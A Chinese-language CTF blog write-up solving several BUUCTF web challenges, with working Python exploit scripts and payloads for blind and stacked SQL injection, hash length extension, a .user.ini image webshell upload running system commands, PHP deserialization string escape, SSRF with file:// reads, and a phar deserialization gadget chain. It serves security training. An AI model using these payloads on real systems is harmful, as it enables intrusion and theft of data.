前言

最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷

hack world

知识点:sql布尔盲注,bypass
进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发现存在过滤。

过滤了 or limit delete update and * # -- & 空格 for ; || +

因为没有注释符sql语句不能被截断,所以只能来试试传入sql运算语句,测试能否被执行。测试发现2/1返回的是id=2的值,
当传递2/2是,返回的是id=1时的值,所以发现运算可以被执行,这就是注入点,像if、sleep函数等
这里说一下sleep函数,直接看测试
nQIttP.png
false执行时间为0,true返回时间是1,所以可以进行延时注入。
最后上exp:

#coding=utf-8
import requests as rq
import sys
import time
reload(sys)
sys.setdefaultencoding("utf8")


url='http://99449ee6-0e39-42e0-bc66-e046d431b3ef.node1.buuoj.cn/index.php'
flag=""

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'
}
for a in range(1,43):
    for i in range(32,127):
        post= "if((ascii(substr((select(flag)from(flag)),"+str(a)+",1))="+str(i)+"),1,2)"
        data={'id':post}
        res=rq.post(url,headers=headers,data=data)
        print res.text
        time.sleep(1)
        if "glzjin" in res.text:
            flag+=chr(i)
            print flag
            break
# print flag

esaysql

知识点: 堆叠注入,sql_mode参数的设置
经过测试发现是堆叠注入,查库名:
query=1;show databases;
得到ctf;
查表名:
query=1;show tables;
得到Flag
查列名:
query=1;desc Flag;
发现被过滤返回Nonono.
尝试编码,发现gg凉了,凉的透透的。。。
flag被过滤了。
尝试预编译和改表结构。都不行,只能去找writeup了。。。
新的知识点:
mysql中sql_mode参数的设置。
通过输入的字符串串可以大致判断出后端逻辑是:
$query||FLAG
sql_mode,可以通过将其值设置为PIPES_AS_CONCAT改变||的作⽤为拼接字符串,此时随便输⼊⼀串字符串便能返回该字符串与FLAG拼接的内容。
payload:

1;set sql_mode=pipes_as_concat;select 1

非预期解:

*,1

这样把Flag表中的所有数据都查出来。flag就出来了。。

ssrf me

知识点: ssrf,哈希拓展攻击
打开题目发现源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)#密钥16位


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)#读param文件
                if (resp == "Connection Timeout"):
                    result['data'] = resp# 写入文件
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #检查签名
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()#密钥+参数+action


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

通读源码发现要想获得flag需要读取flag.txt,要想读取读取flag.txt。要把flag.txt写到自己目录下的result.txt。要想写需要’scan’在参数param里,并且(密钥+参数+action)加密后需要等于sign。
首先可以获取签名。通过访问geneSign可以获取。
方法一(非预期)
首先我们发现获取签名时,我们可以控制param,加密(密钥+参数+action)参数可控,检测签名时,param和action可控,但param只能等于flag.txt,加密(密钥+参数+action)。我们可以在获取签名时,直接获得flag.txtread的签名,这时签名是(密钥+flag.txtreadscan),我们直接获得可读可写的签名,我们在读flag时我们可以控制action这时,action等于readscan时,签名仍然是(密钥+flag.txtreadscan)。直接获取flag。(设计缺陷)
exp:

#coding=utf-8
import requests
import hashlib
url ='http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/De1ta?param=flag.txt'
url1='http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/geneSign?param=flag.txtread'
res1=requests.get(url1)# 获取密文
print res1.text
cookies={
    'action':'readscan',
    'sign':res1.text
}
res=requests.get(url,cookies=cookies)
print res.text

方法二
通过签名我们很容易想到哈希拓展攻击,题中给出了密文16位,和参数flag.txt,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值。

  • 使用 hashpump 即可
    root@peri0d:~/HashPump# hashpump
    Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
    Input Data: scan
    Input Key Length: 24(把flag.txt当成密钥的一部分)
    Input Data to Add: read
    d7163f39ab78a698b3514fd465e4018a
    scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
    
    exp :
import requests

url = 'http://b08adef7-1e07-4c3e-8cad-382566be0694.node1.buuoj.cn/De1ta?param=flag.txt'

cookies = {
  'sign': 'd7163f39ab78a698b3514fd465e4018a',
  'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
  }

res = requests.get(url=url, cookies=cookies)
print(res.text)

suctf2019 CheckIn

知识点:变形马,.user.ini
进入题目,发现是个文件上传,可以上传jpg、png等文件,限制了php文件,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行。上传成功后返回你目录下的所有文件。尝试上传图片马,发现检测<?这个,这里用因为不能出现<? 所以用<script language="php"></script>来绕过。
但是图片马上传成功了,怎么解析呢???想到了.htaccess文件,但是文件不让上传,新的方式(其实是老姿势了):
.user.ini
什么是.user.ini呢?
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。(所以要执行的马要在.user.ini的同级或子目录下。)
php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
在.user.ini可以指定auto_append_fileauto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

auto_prepend_file=1.png //建议改为绝对路径

需要三个文件一个正常访问的php文件1.php, .user.ini,和1.png(图片马),访问1.php即可执行马。(记住是php文件)
.user.ini的前提是含有.user.ini的文件夹下需要有正常的php文件。不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。只能在这种运行方式下才能执行.user.ini。(真坑)这里对应的phpstudy里的nts模式
exp:

import requests
import base64

url = "http://cdcdbc1e-ae32-4727-9850-a65464dfeecd.node1.buuoj.cn"


# userini = b'''#define width 10
# #define height 10
# auto_prepend_file=alex.jpg
# '''
userini = b'''GIF89a
auto_prepend_file=alex.jpg
'''

# shell =  b'''#define width 10
# #define height 10
# <script language='php'>system('cat /flag');</script>'''
shell =  b'''GIF89a
<script language='php'>system('cat /flag');</script>'''

files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)

print(r.text) 

print("upload alex.jpg")

files = [('fileUpload',('alex.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

url1='http://cdcdbc1e-ae32-4727-9850-a65464dfeecd.node1.buuoj.cn/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/'
res = requests.get(url=url1)
print '---------------------'
print(res.text)

[0CTF 2016]piapiapia

知识点:数组绕过正则,改变序列化字符串长度导致反序列化漏洞,字符逃逸

这个题太经典了。。。(有点扯了,回归正题)
进入题目发现是个登陆框。猜测存在注册,访问register.php,注册账号,然后登陆进入,需要修改个人信息。修改信息后,发现我们的信息显示出来,因为上传图片并显示了图片,查看源代码,发现图片是被base64读出来的,然后显示出来的。
测试一下,并没有什么发现。。。猜测有源码,用工具扫一下。。。 真死亡,都是响应。被指定页面了,死亡。。。
手试一下,www.zip,emmm还真有。。。然后就是代码审计了。
可以知道flag在config.php。
首先我们发现对个人的基本信息存在数组中,然后进行了序列化,把序列化后的值存入数据库,然后显示数据时是把数据从数据库中取出来,进行反序列化,然后显示出来,这里我们可以注意到file_get_contents()函数读取我们上传的图片内容然后显示。这里面思路已经很明显了,把$profile数组的photo改为config.php,我们就可以成功获取flag了。
关键代码:

//存数据
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
//取数据
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

然后继续审计源码。我们发现我们传入数据,都需要进入filter函数进入过滤。这里过滤了单引号和反斜线。

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

然后sql注入就不行了。所以问题肯定在反序列化那里。

然后这我就不会了。下面是重点了。
我们输入的信息都要被检测:

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

我们注意了,仔细观察第一个正则。没有匹配到开头结尾都是数字的连续十一位的数字,就die了。没有绕过方法。第二个正则,没有匹配到开头为[_a-zA-Z0-9]中的字符一到十位连接@符再连接[_a-zA-Z0-9]中的字符一到十位连接.再连接[_a-zA-Z0-9]中的字符一到十位,就die了。没有任何绕过方法。第三个判断,先是匹配到不是[a-zA-Z0-9_]字符中的任意字符就返回真,再判断长度小于10,在这里当preg_match处理数组时,会报错,数组可以绕过strlen的长度判断。所以这里数组可以绕过对nickname的限制。

然后在看代码:

$user->update_profile($username, serialize($profile));
public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

结合filter函数,这里把序列化的值,传入filter进行过滤,将序列化值里的含有$safe 危险字符替换为hacker。这里有个知识点:反序列化字符逃逸。
先测试一个例子:

<?php
$s='s:10:"wherealex""';
$sss= unserialize($s);
echo $sss;
echo "<br>";
$s1='s:10:"hackeralex""';
$sss1= unserialize($s1);
echo $sss1;

得到:

wherealex"
hackeralex

逃逸了一个字符。
我们需要逃逸";}s:5:"photo";s:10:"config.php";}34个字符。所以需要34个where。这里是通过pop链来实现字符逃逸。先想要进行字符逃逸,字符被替换成hacker六个字符,只有where是五个字符可以帮我们逃逸一个字符。
我们还需要知道当反序列化到足够的长度时,后面的数据会被扔掉
测试:

<?php
var_dump(unserialize('a:4:{s:5:"phone";s:11:"17758584216";s:5:"email";s:17:"1669390868@qq.com";s:8:"nickname";s:3:"111";s:5:"photo";s:10:"config.php";}s:5:"photo";s:10:"config.php";}'));

得到:

array(4) { ["phone"]=> string(11) "17758584216" ["email"]=> string(17) "1669390868@qq.com" ["nickname"]=> string(3) "111" ["photo"]=> string(10) "config.php" } 

本地测试一波payload:

<?php
$profile['phone'] ='17758584216';
$profile['email'] = '123@qq.com';
$profile['nickname'][] ='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = '1111111';
echo serialize($profile);
$string=serialize($profile);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$S=preg_replace($safe, 'hacker', $string);
echo "<br>";
echo "<br>";
echo "<br>";
var_dump(unserialize($S));

得到:

a:4:{s:5:"phone";s:11:"17758584216";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:7:"1111111";}


array(4) { ["phone"]=> string(11) "17758584216" ["email"]=> string(10) "123@qq.com" ["nickname"]=> array(1) { [0]=> string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } ["photo"]=> string(10) "config.php" } 

成功。所以payload:nickname[]传入

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

成功把config.php读出来。进行base64解码即可得到flag。

Fakebook

知识点:sql注入,SSRF,反序列化
进入这个题目,注册登陆,发现是添加网址,并展示页面,猜测存在ssrf。。
进入展示地址页面,发现并没有展示出来。
uMEzFS.png
发现get传入参数no,像是id,猜测存在注入。。。
随手试试1 and 0成功。。。
开始fuzz,测试发现过滤了

hex
0x
union select 但是union/**/select可以绕过

发现存在报错注入:
开搞

1 and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,32),'~'),1) # 注库名 得到fakebook,information_schema,mysql,performance_schema,test

1 and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),'~'),1) #注表 users

1 and updatexml(1,concat('~',substr((Select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),'~'),1) #注列  no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

emmm,没有flag???
说明思路可能有点问题。。。
最后扫一下目录,发现存在robots.txt,user.php,db.php,和flag.php(扫目录的重要性),提示

User-agent: *
Disallow: /user.php.bak

存在源码。。。这就舒服了。
对了我们知道了文件地址,尝试load_file()读一下?
成了!!!

http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no=0%20union/**/select+1,load_file(%27/var/www/html/flag.php%27),1,1

uMnx2D.png
同样可以盲注exp:

import requests

url = 'http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url+payload)
        if 'https://ab-alex.xyz' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

他给的源码什么意思???(一脸懵逼。。。)
研究源码:user.php.bak

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();//初始化一个curl会话

        curl_setopt($ch, CURLOPT_URL, $url);//设置需要抓取的URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置cURL 参数,要求结果保存到字符串中如果成功只将结果返回,不自动输出任何内容。
        $output = curl_exec($ch); //运行cURL,请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //获取http状态码
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);//关闭一个curl会话

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

仔细读源码,我们可以通过ssrf来读取文件,我们可以让url等于file://来读文件,让服务器读取文件然后再返回,构造exp:

<?php
class UserInfo
{
    public $name = "alex";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new  UserInfo;
echo serialize($a);
//O:8:"UserInfo":3:{s:4:"name";s:4:"alex";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php

payload:

http://89c25947-8872-4ae9-b0f1-c18a190e9a78.node2.buuoj.cn.wetolink.com:82/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"alex";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

成功读取flag。最后发现load_file是非预期解emmm。

[CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点:任意文件下载,PHAR反序列化RCE

进入题目,发现是个登陆框,有注册,注册账号然后登陆,发现能够进行上传文件,测试上传,上传对文件名没有做限制(前端限制,忽略),尝试上传php文件。能够上传,但是文件后缀被改成png,文件名没有变化。发现存在下载和删除功能。。。(测试我常见的漏洞,均未果)
正确思路,发现存在下载功能,那我们可以尝试下载源码啊。尝试
filename=../../index.php成功下载到源代码。开始下载所有源码:class.php,delete.php,download.php,login.php,register.php
开始审计源码:

<?php 
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { #省略一些代码 
    echo $file->close(); 
} else { 
    echo "File not exist"; } 
?>

这里禁止了对flag的下载。。所以想要获取flag,需要另寻他法。。。

这里用到了phar序列化。具体参考另一篇文章phar拓展反序列化攻击面。

这里来梳理一下这个题的逻辑,首先,看这三个类,具体代码:

class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

先说User类,功能:检查用户是存在,添加用户,验证登录。FileList类,功能:获得用户的上传目录里的文件,并显示在页面上。File类,功能:检测文件是否存在,检测文件大小,删除文件,获取文件内容,获取文件名。

我们想要读取flag文件,只能通过File类的方法close(),来读取flag文件,审计代码,发现没有其他方法调用close方法,
我们所拥有的权限是文件的上传,文件的删除,文件的下载。但是我们发现User类析构函数里面调用了对象的closse方法,析构函数在对象销毁的时候自动执行。然后我们发现FileList类里面存在__call()魔术方法,这个方法是在对象调用不存在的方法时候执行,然后FileList类里面没有close方法。会执行call方法。然后就会调用File对象的close方法。close方法执行后存在results变量里的结果会加入到table变量中被打印出来。

所以我们要构造自己payload的思路就非常清晰了,想要调用File类的方法close(),就先要调用FileList类里面__call()魔术方法,要想调用__call()魔术方法,就要调用User类的析构函数。所以我们要先定义一个User对象,然后让User对象的db属性指向一个FileList对象。把FileList对象的属性file指向一个File对象,filename指向我们的flag文件。files属性以数组形式指向我们的file对象。在User对象销毁时,执行FileList对象的close方法,因为没有close方法,所以执行call方法,然后会执行File对象的close方法。就可以获取flag了。然后由phar反序列化可知,我们可以得到序列化对象。
payload:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();');   //设置stub,增加gif文件头
$phar ->addFromString('alex.txt','test');  //添加要压缩的文件
$object = new User();
$object -> db = new FileList();
$phar -> setMetadata($object);  //将自定义meta-data存入manifest
$phar -> stopBuffering();

?>

然后我们获取到phar.phar文件,改后缀为gif。上传成功。然后我们需要找地方打开我们的文件,出发phar机制,来生成序列化对象,发现delete.php,有打开文件。且能够控制文件名,没有队文件名进行限制。

if (strlen($filename) < 40 && $file->open($filename)) 

所以,上传之后,我删除文件时,传入文件名为phar://phar.gif/alex.txt,就可以触发phar机制,生成我们构造的User对象。就会执行上面的所述流程。读取flag文件并输出出来。

参考链接:
buuctf部分writeup

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup